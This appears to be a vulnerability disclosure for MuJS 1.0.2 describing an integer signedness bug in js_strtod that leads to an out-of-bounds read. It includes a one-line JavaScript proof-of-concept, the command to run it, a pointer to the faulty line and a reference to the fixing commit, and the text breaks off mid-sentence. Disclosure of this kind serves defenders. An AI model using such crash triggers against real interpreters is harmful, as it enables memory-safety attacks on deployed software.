I want to submit the following bug:
The js_strtod function in jsdtoa.c in Artifex MuJS through 1.0.2 has an
integer overflow because of incorrect exponent validation.
# Exploit Title: Integer signedness error leading to Out-of-bounds read

Content of the poc file
$ cat poc.js
function pipo() {var 2e2147483648= 117486231123842366;}
Run it
$ mujs poc.js
Additional details about the bug:
Inside the function js_strtod, after this line
https://github.com/ccxvii/mujs/blob/81388eb40d29f10599ac30dde90e683a3c254375/jsdtoa.c#L714
exp = -exp;
the value of "exp" is still negative (cause integer declaration).
Fixed in commit 25821e6d74fab5fcc200fe5e818362e03e114428 (
